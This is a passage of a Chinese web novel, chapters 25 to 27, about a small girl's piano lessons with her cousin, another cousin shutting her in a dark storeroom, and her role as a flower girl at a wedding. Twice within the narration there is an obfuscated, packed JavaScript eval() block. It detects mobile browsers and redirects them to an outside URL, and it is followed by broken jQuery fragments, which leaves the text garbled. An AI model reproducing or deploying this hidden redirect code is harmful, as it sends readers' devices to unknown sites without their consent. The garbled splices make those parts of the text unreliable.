蒋斐轩搬了个椅子在琴凳边坐下,手拿着铅笔撑在键侧木上,随着她的演奏在谱面上勾勒出她的问题。 “就是没练熟,该注意的地方,我看谱子上老师都给你标注出来了。” “我没什么要教你的。”想着这会儿出去估计要被爸爸说道,蒋斐轩又说道:“你就在这练琴吧,我看书守着你。” 蒋婧“哦”了一声,转过去乖乖地自己一遍又一遍地练。 弹到第三遍的时候,蒋斐轩啪地合上了书,叫停:“你练琴就是这样,从头到尾地练吗?” 她缓慢地点了点头。 “改掉这个习惯。你现在学的曲子简单,还可以应付。等你以后学篇幅长的曲子,这样的练琴方式就是耗费时间。” “那要怎么练,斐轩哥哥?” “两行两行地练,直到这两行顺畅了,再练下两行。” 蒋斐轩不自觉地又坐回到钢琴前,上手指导:“别偷懒,这里如果卡了,就在这里反复练习5遍,直到形成肌肉记忆。” 蒋婧听话地照做,眼神里透露着对他因钦佩崇拜形成的绝对信任。 好几遍被压着练习过后,她在某一遍上流畅地弹奏出卡壳的部分,惊喜欢快地说道:“我练会了耶,斐轩哥哥!” “我耳朵没聋,听到了。”蒋斐轩用铅笔敲敲谱,说道:“继续吧,今天把前4行练熟再回去。” 25.第25章 又一个周六去学琴,仍旧是蒋婧先去上课。 李老师一般会给蒋婧上一小时的课,之后休息十分钟再轮到他。蒋斐轩习惯性地定了一小时零五分钟的倒计时,在响铃后,结束分秒不浪费的高强度练习。 他收拾好谱子,合上琴盖,走出琴房,竟没看到那个本该乖巧在门口等他练琴结束的小人儿。 侧头过去,铺了地毯的深远走廊的另一头,蒋婧背着她新得到的乐谱包——那是从蓉特意按照她的喜好定制的,包身是珍珠白色小牛皮,从包两侧延伸出来的两只挺括的小翅膀——正来来回回地在走廊里冲跑。 她微微俯身低着头,双手张开向后下方,迈着快速的小碎步呼咻跑过来,又呼咻跑回去,身后翅膀便随之轻轻颤动,仿佛下一秒就会带着她扑闪起来。 蒋斐轩眉毛挑高,瞳孔短暂放大又回缩,不自觉地视线跟随,心里先是试图理解,然后理解失败。须臾,他双手环胸,盯着她又跑了一转。 “蒋婧,你在干嘛?” 见她越跑越开心,没有停下的趋势,他不知是笑还是叹地发声。 听到声音的蒋婧扭头,惊喜地一个小跳,又咯吱咯吱笑着猛冲过来。 “斐轩哥哥!我在开心!” 她双手撑开,仰着头笑容灿烂地看着他,好一会儿的沉默后没等到对方反应,疑惑地歪头:“你不问我为什么开心吗?” 蒋斐轩四平八稳地勾勾唇角:“傻子都能猜到是为什么。李老师夸你了?” “嗯!”她语气很重地出声,显得很是娇稚。 “你怎么知道李老师夸我了?” “我辅导的,我能不知道?” “那你今天还辅导我弹吗?”她急急忙忙地从包里翻出谱子和练琴指导笔记本,像是要证明很难似的,把谱子翻得哗哗响。 “李老师这周又给我布置了两页,特别特别特别特别特别难,你带我练行不行?斐轩哥哥?” 蒋斐轩嘴唇张开又闭上,最终没吐出一个字,只有一声气音从鼻子里哼出来。 “看我心情。” “怎么看?”她诚挚地望着他,模样恳切,像是听进去他的话,凑上来尤为认真地在盯住他的脸。 蒋斐轩忽地伸出手,摁住她的额头,挡住了那道灼人的目光,低声说道:“笨蛋,不是这样看。” “总之,你先去练琴,等我上完课再说。” * 回到大伯家中时,暮色已经很浓了。院子里的梧桐随着拂过的晚风发出轻柔的沙沙声。 蒋婧下了车,不由自主地站在原地安静地侧耳倾听。 已经迈上台阶的蒋斐轩奇怪地看了她一眼,问道:“进去了,你在干什么?” 她指着在柔和灯影下可见其枝叶繁茂的高高的梧桐树,眼睛里闪着光,压着声音低低地说道:“我在听这棵大树说梦话!” “你要一起听吗?斐轩哥哥!” “它在这里一定过的很开心,所以才会发出这样美妙的声音。” 最后下车、缓步过来的蒋铮嘴唇会心地上勾了一下,把蒋婧一溜儿地抱起来,说道:“那大伯陪着你一起听会儿,好不好?” 闭上了眼睛,整个世界只剩下风吹树叶的声音,蒋铮难得地感受到宁静的时刻,也不由得放松下来。 蒋婧表情开朗地说道:“大伯,你也喜欢听大树唱歌的声音吗?” “小婧喜欢,大伯自然也喜欢。”蒋铮摸了把她乌黑顺滑的及肩长发,又问道:“小婧知道这是什么树吗?” 她摇摇头,在蒋铮的托举下伸手接住一片缓缓掉落的树叶,好奇地问道:“它叫什么树?” “它叫梧桐树。” “可是我不知道是哪几个字,大伯,你等写在我的手心里告诉我呗!” 蒋铮含笑托握住她对于成人来说丁点儿大的手,在她的手掌心上一笔一划地写下三个字。 “我知道‘树’怎么写!这样写!对不对?” “对,小婧真聪明。” “你再写一遍梧字,大伯,是这样吗?” “不对,是这样,先是一个木字旁,再写一个五,再写一个口。” 一大一小在院子里呆了许久,直到蒋婧把梧桐两个字学会了,才欢天喜地地答应回去。 蒋斐轩再次惊讶于父亲对待蒋婧的耐心,有些失落地敛下目光。一转头,发现哥哥站在他身后,视线落在那两人身上,不知道已经看了多久。 “哥?” 蒋斯承:“听到车子声不见人,妈妈叫我出来看看怎么回事。” “哦,爸爸在教蒋婧识字,耽误了一会。” 蒋斯承耸耸肩,表示知道了,然后一声不吭地转身进了门。蒋斐轩又回头看了一眼爸爸和堂妹温馨的背影,顿了一瞬后,也跟着进去了。 * 大伯和大伯母都是沉稳内定的人,营造出的是一种安静而温厚的家庭氛围。两个哥哥若是与他们交谈,总是深思熟虑、言之有物。 故而蒋婧在大伯家吃饭的时候比在家里老实不少。找一百个理由推辞不想吃饭的废话说的少了,自然只能动作机械地往嘴里喂饭。不过看着是有一搭没一搭地吃着东西,实际上翩翩浮想着早不知道神游到哪里去了。 一个不注意碗里又被夹了菜,蒋婧从出神的沉思中摆脱出来,愁苦巴巴地瞅着大伯母:“吃不下了,大伯母,能不能放回去?” “夹到碗里的东西就不能再放回去了。”蒋斯承用责备的口吻说道。 蒋婧连呼吸都一瞬间放轻了。 从蓉佯装露出了一个严厉的神情,仿佛这是个很严重的缺点似的说道:“你碗里的米饭一点没动,菜也只吃了一两口,怎么就吃不下了?不好好吃饭不是乖孩子。听话,就着菜把米饭吃完。” 她抿着嘴一抬眼看过来,从蓉又无奈心软乎,俯身温声询问:“是因为不喜欢吃吗?” 蒋婧摇摇头,默默长叹一声,继续艰难地咀嚼。 她认了,反正每次在说一不二的大伯母家吃饭都很煎熬就是了。 看着她苦大仇深的样子,从蓉嘴角露出一丝微笑,状似不经意地说道:“你乖乖吃完饭,大伯母就给你奖励一颗托人从海外带回来的夹心棒棒糖,怎么样?” “真的吗?” “大伯母什么时候骗过你,快吃。” 饭后,蒋斐轩领命带着蒋婧继续去练琴。 弹奏着音阶的双手欢快地在琴键上跑着,蒋婧嘴巴里含着棒棒糖,自我感觉良好地晃晃脑袋。 蒋斐轩却是听不下去地皱眉,拿着谱子拍了一下她的头,说到:“让你慢练,弹这么快干嘛?手腕都不稳了。” 她收手放在膝盖上,抬着头一言不发地看着他。 “错了两个音,找出来是哪两个。” 蒋婧不甚认真地望着谱,许久都没有瞧出错音,只是吧唧吧唧地含着棒棒糖,偶尔还发出糖碰到牙齿的哒哒声,明显心思不集中。 蒋斐轩严辞开口:“把糖吐了。” 蒋婧立马抗拒地摇摇头,总是带着崇拜的眼神看自己的小孩第一次露出了急眼的模样。 “我说,把糖吐了。” 他直接上手掐住棒棒糖的木棍,捏住她的嘴巴,态度很坚决。 蒋婧发现他不是在开玩笑,被他不由分说的苛刻引得心里一震颤,委屈地任由他拿走嘴里的棒棒糖。 棒棒糖被扔进了垃圾桶,发出了哐当的一声。 “看着我干嘛,找音。” 蒋婧还是一动不动地盯着他,眼睛里逐渐漫漶上水意,声音酸涩地告知:“我快要哭了。” “但是我不想要哭的。” 蒋斐轩被她含泪欲泣的样子弄的心烦,暗道为什么她不能够改掉动不动就哭的毛病。他小时候就很少哭,因为父亲早早就训诫过他,哭解决不了任何问题,只有理智且有效率的沟通才能达成目的。 “你到底学不学?不想学就出去。”他试图保持平静,但似乎成效并不好,语气僵冷地说道。 “不想学了,除非你赔我一根棒棒糖。” 见他良久没有表态,她难过地撇撇嘴,抑制着哭声,笨拙地翻身滑下琴椅。 从后面的人视角望去,圆头小孩娇小玲珑的身躯随着一抽一噎上下起伏着,时而左手右手交换着抹把眼泪。往外走的步子小而拖滞,像是被情绪加大了重量一般。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273999|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蒋斐轩撑着琴,始终一言不发,待她彻底离开后,终是气恼地沉沉吐了一口气。 学生不听话,关老师什么事,他想。就不该花费这么多时间教一个水平低下的初学者,简直浪费精力。 门外,蒋婧拖着步子走到客厅,爬上了深棕色的扣皮椅,自己闷头呜呜哭了一会儿。 客厅里没有人,往常这个时候,大伯和大伯母都会一起去外面散步,蒋斯承会一直待在他的房间里,她可以独自一个放开了难过,不怕被人发现。 不过如果是斐轩哥哥能发现的话,她可以友好地原谅他的。蒋婧默默地想着,但是想到离开琴房时背后传出的琴声,她愈发心里发酸。 斐轩哥哥肯定巴不得自己闹脾气不学琴,反正他愿意教自己都是因为大伯让他这样做。 她早就看出来了,他们都害怕大伯,大伯说什么他们都会听的。 可是她又不害怕大伯,大伯待她很温和。 这么说来,她难道不是最厉害的小人吗,因为她都不害怕家里最厉害的大人。 唉,什么时候她也能像大伯那样让他们害怕就好了。这样她说什么,他们也就能照做了。 “喂,小矮子,你哭什么。” 她正胡乱想着,被厨房里传来的声音打断思绪。 悠悠回头,又缓缓转回来,蒋婧像一个被霜打的茄子垂下了脑袋。 蒋斯承关上冰箱,拿着冰过的矿泉水走过来,踢了一脚她坐的沙发,问道:“怎么不理人?” 她于是低低地解释道:“我的棒棒糖掉了。” “我才吃了一小会儿的。” 后一句说得伤心,蒋斯承居高临下地看着她,不理解她一副天崩地裂的悲伤神情,嗤之以鼻:“就这?三岁小孩就是麻烦。” 他看了眼琴房的方向,又朝蒋婧说道:“这糖都放在储藏室里,你还想吃的话,我带你过去再拿一根就是了。” “真的吗?” 蒋婧抬头,似乎有些难以置信,身体比脑袋先一步反应,跳下椅子跟着走过去。 储物室在绕过厨房过去的走廊深处最后一间,蒋怀谦推开那道门,漆黑的房间里显出走廊壁灯映出的一个门框形光亮区。 “你进去拿吧,就在窗户下面的柜子里,看到了吗?” 储物室的最远处墙壁上是一道正方形的多扇平开实木窗户,蒋婧顺着他指的方向,在走廊灯的照射下,依稀看到了窗户下面的一排架子。 见她点点头,蒋斯承撑着门,示意她进去。 “不开灯吗?斯承哥哥?” “这个房间的开关不在这。走廊灯这么亮,能看清。” “那你想吃糖吗?我们一起,好不好?” “我给你扶着门,光才能透进来。不过你可以顺便多拿一个。” 交涉完毕,蒋婧总觉得哪里不对劲,但小脑袋瓜一心想着吃糖,迟钝地点点头,不疑有他地缓慢走进去。 储物室里很大,里面摆满了很多的实木柜架,上面摆置了很多储备的生活用品,仿佛电影里巨大迷宫的围墙。 蒋婧在心里自动给它们配上了诡异悬疑的背景音乐。 越往里走越黑,蒋婧停下来,像是自己也觉得不好意思,别扭地攥着衣服的蕾丝花边,细弱如蚊地对着蒋斯承的方向说道:“斯承哥哥,我有点害怕。” “你说什么?我没听清。” “动作快点。” 她嘟嘟嘴,天人交战了几秒,还是转过身,继续走过去。 一泓清冽的银辉,无声地从那扇厚重的窗户倾泻而入。 窗外,夜空晴朗,深邃又通透,絮状的流云像沉入水中漂浮的丝巾,环绕在那轮皎洁明亮的满月周围。 月亮静谧地散发着柔和的光晕,宛如一枚宝珠。 蒋婧痴痴地看呆了。 与此同时,在她的身后,门锁咔哒一声,储物室的门被合上,走廊灯光映出的光亮区域消逝不见,整个房间瞬间淹没进黑暗之中,变得伸手不见五指。 她惊吓地回头,全身的血液似乎都即刻涌到了头脑。 蒋婧第一次知道,原来在极度恐惧的那一刻,人是发不出声音的。 26.第26章 从储物室走到草坪前的落地门前,蒋斯承慢条斯理地把手里的冰水喝了大半。 蒋铮喜在家中院子里种植各式各样的树木,请专业的园林团队精心打理,既要使院子翠色欲流,隐而有品,又要整洁干净,看出条理考究的种植思路。 这个季节,离门口最近的那棵修剪圆润的丛生灌木状桂花树,枝叶繁茂,正在为秋季的开花积蓄能量。 他蓦然就想起了去年秋天,蒋铮过生请宴那天,走路还会晃着忽然跌倒的蒋婧寻着桂花香气,总是好奇地围在这棵树旁边晃悠,然后趁着大人不注意的时候,偷偷扑进去,扯了鸭黄色的小花簇,好奇地嗅了嗅,就往嘴里塞。 反反复复这样做,大人们哭笑不得地问她为什么,她呆呆愣愣地说,因为闻起来像是可以吃的糖。 那种萌态可掬的模样,他不知道怎么就记了下来。此刻浮现出来,也同样说不出缘由。 他和蒋婧年龄相差太大,她又天然受尽关注和宠爱,很长的时间里,他一直对她抱以一种避而远之的态度。 他承认,长得漂亮可爱是一种讨喜天赋。如果爸爸不那么喜欢她,他或许也不至于讨厌她。 静悄的夜色随着晚风的吹拂和合意的温度,处在其中让身体顿觉安宁舒适,蒋斯承面色沉静地感受着,却始终觉得心里很不舒畅。 就这样过了几分钟后,站在推拉落地门前的人忽然转身,沿着原路返回,步子很快,接着动作利落地开门,按下顶灯开关,穿过一排排储物柜架,站在了蹲下蜷起来的蒋婧面前。 她没有出声,但是泪流满面,脸上还残留着因为灯光突然亮起来发懵的呆滞。又是那样子的神态,眼睛水亮地看过来,瞳仁黑如宝石,透着股人性原初的信任一切的单纯无辜。 蒋斯承看到她手上一左一右攥了两个棒棒糖,包装袋被挤得干瘪皱巴。 他喉咙发紧地出声问道:“拿好了吗?” 蒋婧很缓慢地点点头,递出右手心里的糖,想要说话,竟然是一时没发出声,第二次尝试时,才低低哑哑地说道:“我给你拿了草莓味的。” 眉头突然控制不住地紧缩了一瞬,蒋斯承“嗯”了一声,没接,说道:“你留着自己吃吧。” “出去了。” 蒋婧全身发软地站起来,脑袋发晕,浑噩地跟着走出去,在走到明亮的走廊里时,终于找到了安全感。她必须要说点什么缓解心里后怕的感受,忍不住对前面的人发问: “斯承哥哥,刚刚是不是停电了?” “我想我爸爸妈妈还有哥哥了。” “幸好你来救我了斯承哥哥。” “这个糖你吃好不好?” 身后一直传来她蔫巴但甜软的小小声音,蒋斯承闭了闭眼,转身停住,影子笼罩在她头上,语气很平静,却无端令人发怵。 “蒋婧,没有停电,是我故意关灯把你关在里面的。你可以去和大人们告状,我告诉你我巴不得你这样做。” 他顿了顿,看了她一眼,移开视线,沉沉地说道:“但是我希望你以后不要再来我家了,起码不要在我在的时候出现。” 蒋婧整个人像是被按了暂停键,原本红扑扑的苹果脸褪去了血色,嘴角向下弯成一个极其委屈的弧度。她感到喉头一阵哽咽,开始担心自己忍不住要掉下眼泪。 随着他的话音刚落的当刻,大门响起开门的声音,继而是蒋铮从蓉两人依稀可闻的谈笑声。 蒋斯承仿佛解脱似的轻扯了下唇角,望着不哭不闹、只是晶莹的泪珠一颗接一颗地往外滚落的人,第一次动作生疏地拍了拍她的头,说道:“去吧,小矮子,和他们说说去吧。” 他说完,便不再搭理她,穿过背厅,径直上了楼梯。 蒋婧看着他消失在视线之中,觉得心里有一种说不出来的难受。她转了身子对着同时映出她的身影和窗外暗夜的玻璃门,照镜子一般抹了抹自己的脸,又一下子觉得外面的黑夜很害怕,迅速地转过身去。 拖着步子走到客厅,她奶声奶气地叫人:“大伯、大伯母,你们回来了!你们散步开心吗?” 蒋铮惊喜地“呀”了一声,随即笑着把人抱起来:“小家伙怎么从这里窜出来了,斐轩哥哥教你练完琴了?” 蒋婧一时半会没有说话,反应慢半拍地说道:“我想回家了大伯,你可以送我回家了吗?” “怎么了?和斐轩哥哥练琴不开心了?”蒋铮察觉到什么,心下立马闪过不悦的念头。 蒋婧摇摇头,只是一味地说想爸爸妈妈和哥哥了。 从蓉目光落在她手上的两个棒棒糖,在蒋铮身边坐下,捏捏被他抱着的蒋婧的脸,温声问道:“小婧手上怎么拿了两颗棒棒糖?” 她一拍脑袋,像是突然反应过来,心虚地瞅了从蓉一眼,低着头有气无力地说道:“对不起大伯母,你给我的棒棒糖掉了,但是我还想吃一个,就去放棒棒糖的房间拿了两个。” “你不要生我的气。”她很小声地补充道,话里染上了哭腔。 从蓉好笑地托着她的下巴抬起来,说道:“大伯母可不会因为这个生气,小婧多吃一颗棒棒糖会变的开心,大伯母高兴还来不及,怎么会生气?” “真的吗?” “真的。是斐轩哥哥带你去拿的吗?” 蒋婧摇头,观察了一下她的神情,迟疑地说道:“是斯承哥哥。” 从蓉并未多想,反倒是觉得大儿子愿意多和妹妹接触是件好事。她没收了其中一个糖,循循善诱地说道:“既然是掉了一颗,就补上一颗,行不行?我们是不是说好一天只吃一颗棒棒糖?” 蒋婧乖乖地点头,瞧着有些心不在焉,温顺地给出手里的一颗糖,又接过蒋铮给她撕开的另一颗,含在嘴里抿了抿,说道:“我想回家了,大伯,大伯母,你们什么时候送我回家?” 两人相视一眼,都觉得一直哼着想回家的蒋婧不太对劲。蒋铮抱着她的咯吱窝调整了一下她的坐姿,直视着她问到:“乖婧婧,你告诉大伯,是不是斐轩哥哥欺负你了?” 蒋婧头摇得像个拨浪鼓,刚要说什么,抬头只见蒋铮忽然面色严厉地看向她身后。 “斐轩你过来。” 她拿着棒棒糖吃力地扭头一看,对上刚从琴房门口走出来的蒋斐轩的目光,他的脸上出现混合着一丝不易察觉的懊恼的倔强表情。 “爸爸。” “你教妹妹弹琴的时候发生什么了吗?” 蒋铮的语气哪怕平静从容,也让他情不自禁地吸溜了一口气。他用余光扫了眼蒋婧,心里又气她告状,像个小叛徒,可又像有只小手在心里挠,想问她是不是还在生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319569|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她不好好练琴,我就把她的棒棒糖扔了。”他如实说道。 蒋铮声音像沉闷的雷声:“你倒是厉害了,拿着三岁的妹妹使威风。” 见蒋斐轩嘴角隐忍地撇着,从蓉忙不急出来当和事佬,拽过儿子的手说道:“爸爸的意思是你比妹妹大那么多,要学会对妹妹更温和些,有耐心些。妹妹年纪小,才刚刚开始学琴,自然是不比你学了这么多年来的熟练,你要多体谅帮助她才是。你知道妹妹一能吃糖就最开心了,你还扔她的糖,是不是该和妹妹说声道歉?” 蒋斐轩听进去了,认同地点点头,身体朝向母亲接受训导,但一只脚的脚尖却无意识地转向蒋婧的方向。 但是蒋婧情绪已然到了自我调解不了的时刻,她忽然就张开手扒住蒋铮的胸膛,很是难受似的温吞地哭起来。 “大伯,你快送我回家好不好....我想回我自己的家,我想爸爸妈妈还有哥哥了...” 蒋铮被她哭的心都发抖,又是哄又是应,抱着她起身,自发地当起了人工摇摇椅。他对从蓉说道:“那我先送婧丫头回去,你要是累了就先睡,不用等我。”说完又看向蒋斐轩,音调低下来:“这种事情,我希望不会再有第二次。” 蒋斐轩微微缩起了肩膀,目光游离地转开,压住心里的情绪。 * 车子行驶了半小时,抵达秋水庄园。 蒋源已经在门口等着,见抱着蒋婧的蒋铮下车,他连忙两步上去接过已经熟睡的女儿。 蒋铮抚了抚掉落在蒋婧脸上的碎发,向弟弟解释道:“今天练琴的时候,斐轩丢了她的棒棒糖,一直委屈着闹回来。” 蒋源说道:“小孩子嘛,闹归闹,再见就立马和好了的,不碍事。” 两兄弟又简单寒暄了几句,蒋铮才上车打道回府。 蒋源给女儿挡住风,抱着她进了屋,上楼的时候她悠悠转醒,见到是爸爸,雏鸟归巢般,心满意足地抱住爸爸的脖子蹭了蹭。 “爸爸,我想你了。” “是爸爸的小黏糊嘛,爸爸也想你了。”蒋源低头察看她的表情,小心地询问:“今天在大伯家玩的不开心吗?爸爸看到你眼睛都哭红了。” 蒋婧顿了几秒,才说道:“爸爸,我不想去大伯家弹钢琴了,我就想在自己家里弹钢琴。” “不是你之前非要缠着斐轩哥哥教你弹琴的吗?这会儿又不想了?” 等了一会儿,见怀里的人又噘着嘴不说话,蒋源又含笑说道:“和斐轩哥哥闹不愉快了?” 蒋婧点点头,又摇摇头。 “这是什么意思?” “就是不想去大伯家弹琴嘛,行不行嘛,爸爸~” 蒋源哪经得住她撒娇,想着小孩子闹矛盾,也还是得他们自己解决,便答应了下来。 “好好好,那爸爸给你找个家教老师在家陪你练好不好?” 蒋婧点点头,闭上眼睛靠在爸爸肩膀上,困倦地嘟囔:“爸爸,我今天晚上想跟你和妈妈睡。” 蒋源的声音柔和:“好。” “想听爸爸妈妈一起给我讲故事。” “好。” “我想永远和爸爸妈妈还有哥哥在自己的家里。” 蒋源步子一顿,然后摸了摸女儿毛茸茸的脑袋,声音越发温柔地徐徐应道:“好。” 27.第27章 转眼入夏,前些天气候炎热,近日一连下了几场雨,总算是清凉了一些。 常蕙娘家妹妹近来要办新婚典礼,指名要两个小外甥给自己当花童。常蕙思来觉得两个小男孩上场还是差点意思,特意去了躺儿秋水山庄,询问程与英是否愿意允了蒋婧跟着一起去。 程与英自然没有什么意见,便传话下去询问闺女的意见。蒋婧没什么概念,听到有两个哥哥参加,也就表现得很积极。 婚礼在即,趁着天气还算舒适,常蕙和程与英带了三个孩子去定下礼服,接着踩点婚礼的场地,提前让他们熟悉流程。 仪式定在了城郊的一家私人俱乐部庄园,其标志性的欧式建筑前是巨大的户外草坪和喷泉广场,婚礼当天,这里被无数鲜花和水晶灯装扮成清新奢华的婚礼场景,看起来美轮美奂,如入世外桃源。 宾客们陆续入场,常蕙收回察看的视线,回头蹲下,再次给蒋熠理了理被弄乱的领结。 “阿熠小子,别再在地上胡乱打滚了,你看你这裤子,黑色的都经不住你蹭的脏兮兮的,一会儿上台,大家可都要笑你了。” 蒋熠沉沉“唉”了一声,由着妈妈动作粗暴地拍了拍自己屁股上的灰,眼睛还盯在一边蒋婧的身上,心思飘忽地反驳:“我不怕别人笑我!” 常蕙瞪了他一眼,全然拿捏住他的心思,不留面子地说道:“你不怕,到时候妹妹跟着你上去送戒指,别人笑你,妹妹也跟着觉得丢脸,等她不和你玩了你才有的哭。” 他不悦地皱起眉,扬声:“妈!你不准这样挑拨离间!蒋婧不准不和我玩!” 常蕙最后狠狠地拍了他的屁股一巴掌,一字一顿地警告道:“那你就给我干净一些,别再到处乱蹭!” 蒋熠偃旗息鼓地抿起嘴,气鼓鼓地走到了正在一起摘花瓣的两个人身边。 “你怎么生气啦?”蒋婧整理着花束,抽空看了他一眼,轻轻地问道。 “我妈说,你会因为我脏、让你丢脸就不和我玩。” 蒋澈:“妈妈是因为不想让你把衣服弄脏才这样说的,你就别听点话,安分点吧。” “哥,我真佩服你,你居然可以一直坐在这里不动。我不行,我一定要动一下,所以我有肌肉,你没有。”他学着端起胳膊肘,展示自己的肱二头肌。 蒋澈噎了一瞬,很是无语地瞥了他一眼,手上仍不停地剃着玫瑰的刺,然后递花给蒋婧,边说道:“爸爸说了,你那不是肌肉,是肥肉。” “而且我在该运动的时候也有好好运动,等我长大,就会有爸爸那样的肌肉了。” 蒋熠“哦”了一声,深以为然地跟着补充道:“你说的对哥哥,长大了,我们就会有肌肉了。” 他又转向蒋婧,揪着蝴蝶结发带扯高她的麻花辫,说道:“你该陪我玩了,你都和我哥玩了好一会儿,说好一人玩一会儿的。我们下去草坪里玩‘你追我跑’吧!” 蒋婧推开他,一心二用地回答:“再等一下,你先自己玩一下,我和阿澈哥哥还没有把花篮装满。” “蒋婧!你说话不算话!我要生气了!” 蒋澈扔了朵花砸向弟弟,忍无可忍地说道:“你就不能和我们一起安静地摘花瓣吗?” “这很无聊诶老铁!”蒋熠上手把蒋婧从沙发上拽下来:“走嘛蒋婧,我们去下面玩吧!” “好吧好吧。”蒋婧被他拖着往外走,只好答应下来,又回头嘱咐道:“阿澈哥哥,你再多帮我摘点花瓣,要记得把我的篮子装很满很满!” 蒋澈比了个ok的手势,摇着头远远瞪了眼自己不省心的弟弟。 蒋熠紧紧牵着她的手穿过来往的大人,走到人少了些的楼梯上时,他故作深处地说道:“婧丫,哥哥告诉你,就算一个人脏脏的,让你丢脸了,你也还是要把他当做最好的朋友。” 蒋婧不明所以地皱眉:“我为什么要把脏脏的人当做最好的朋友?” “你最好的朋友是我,所以我脏脏的,让你丢脸了,你也还是得把我当做最好的朋友。” “我最好的朋友才不是你。” “我怎么就不是你最好的朋友了?我都把你当做我最好的朋友,我只和你一起玩追人游戏、打仗游戏、赛车游戏……所有游戏!我都只和你一个人玩!” 他还在喋喋不休地讲述着自己如何如何把她当做最好的朋友,蒋婧脸上一直带着一些沉默的、愉快的微笑,虽没有阻止他,但已经对他的话变得不太感兴趣,走神地欣赏起酒店各出的精美花艺装饰。 “这里好适合玩捉迷藏呀!蒋熠,我们去把阿澈哥哥叫下来,我们一起玩捉迷藏吧!” 她突发奇想到,及时刹住步子又要往回走。 “那好吧”蒋熠顺着她的步子同样一回旋,绕在她身边,继续叽叽喳喳。 “那你可以答应我,要一直和我玩吗?” “我跟你说,我以后会成为很厉害的大人,绝对不会让你丢脸。” “况且我也不是很脏,裤子拍一拍就好了。大不了我以后为了让你有面子,就不随便在地上乱坐。” 蒋婧仰头望着走廊壁柜上的装饰画,神采奕奕地点点头,抽神评论道:“你确实不该在地上随便乱坐了,蒋熠,因为我都已经不再随便在地上乱坐了。我只有很小的时候才在地上乱坐,你如果5岁了还在地上乱坐,你就对不起自己5岁了。” 蒋熠摸了摸下巴,郑重其事地点点头:“你说的对。” * 婚礼已经开始,主持人在前场字正腔圆地说着热场词。 入场大门之后,常蕙最后一次紧张地嘱咐他们细节,不放心地加了一句说道:“阿澈小子,如果等会儿弟弟和妹妹在台上说不出话,或者紧张了不知道干什么,你就指导他们,O不OK?” 蒋婧和蒋熠听到,立马一左一右地凑过来,异口同声:“OK!” 蒋澈从中间挤进来,牵住他们俩的手,对常蕙说道:“妈妈,你放心吧,我都记住所有流程了,包在我身上。” “三婶,我也记住所有流程了,也包在我身上!”蒋婧捧着花篮笑盈盈地说道。 常蕙眼睛笑眯成一条线:“那太棒了,到时候阿婧宝宝就跟紧,哥哥做什么,你就做什么,好不好?” “好~” 蒋熠拍拍常蕙的胳膊,示意她注意自己:“妈妈,还有我!你放心吧,所有流程我虽然都没记住,但是包在我身上!” 常蕙皮笑肉不笑地给了他屁股一巴掌:“你给我在台上老实点,不用你记住,你只需要闭嘴跟着哥哥就行。” 婚礼台下宾客满席,蒋源紧赶慢赶地结束了公事,在开场前最后时刻到了现场。 程与英带着蒋怀谦和蒋向恒坐在离舞台最近的一桌,看到老公出现在门口张望着,派儿子去领了他过来。 “开始了吗?”蒋源在程与英身边的位置坐下。 “马上了,赶的正好。看你急的,坐下喝口水。” 蒋源颔首,接过水杯喝了口,在婚礼进行曲响起的时刻看向身后。 那扇用花藤装饰的大门徐徐打开,新娘和她的父亲并肩站在一起,他们的前面,三个粉雕玉琢的小花童瞬间因为高颜值吸引了观众们的注目。 蒋澈走在最前面,小绅士般的白色西装,口袋里别着一朵小小的香槟玫瑰,看起来既神气又纯净。他手里提着一个装满了花瓣的编织篮,神情严肃,仿佛在执行一项无比重大的使命一样随着音乐向空中抛出花瓣雨。 紧跟在他身后的是蒋熠和蒋婧。一个穿了黑色小西装配红色领结,一个装着蓬松的云朵白纱裙,头上别着镶了白色头纱的小花环。 一开始,他们还勉强记得任务,学着蒋澈的样子用空着的手撒花瓣。但很快,蒋婧就被地上像银河一样闪动的LED灯线吸引了,她停下脚步,好奇地在追着光亮的闪烁在原地踩来踩去,一个笨拙地把自己绊倒。 蒋熠见状,立刻放弃了撒花,慷慨地把自己篮子里的花瓣全部倒在她裙摆上。 “婧丫,你现在就像是花仙子!我给你撒点花瓣,你觉得够不够?不够再来点!” 蒋婧开心地抓起自己裙摆上的花瓣,又扬起来撒到蒋熠头上:“这样好漂亮啊阿熠哥哥!” 两个瓷娃娃般精致的孩子忘我地嬉闹着,在这个场合却只传递出纯真的感染力。 台下的程与英笑得肚子都疼了,抬着手机一边录像一边手笼在嘴边喊道:“婧儿,先别玩了,去撒花瓣!” 蒋婧和蒋熠自然是听不到的。 前方的蒋澈回过头看到,小大人似的叹了口气,又两步走回去,拉起蒋婧的手,又轻踹了一脚弟弟的大腿,带着他们继续向前走。 蒋婧这下收回了注意力,站在蒋澈旁边认真地跳一下,撒一把花瓣。 蒋澈:“阿婧,你可以不用非要跳起来。” “可是这样才能把我的花瓣撒的和你的一样高。” “那我撒低一点就好了,你别跳,万一摔倒了。” “好吧,那你撒低一点,阿澈哥哥。” 篮子里空无一片花瓣的蒋熠从哥哥的篮子里抓了花瓣,不往前方撒,偏是手从哥哥身后伸出去,往蒋婧头上撒。 蒋婧笑得眉眼弯弯地望过来,和他一起相视着乐呵呵地发笑。 “蒋熠,我也给你撒一点花瓣。这是我的花瓣魔法,这样你就会永远是幸福的人。”蒋婧回馈一般也往他那边撒了一把。 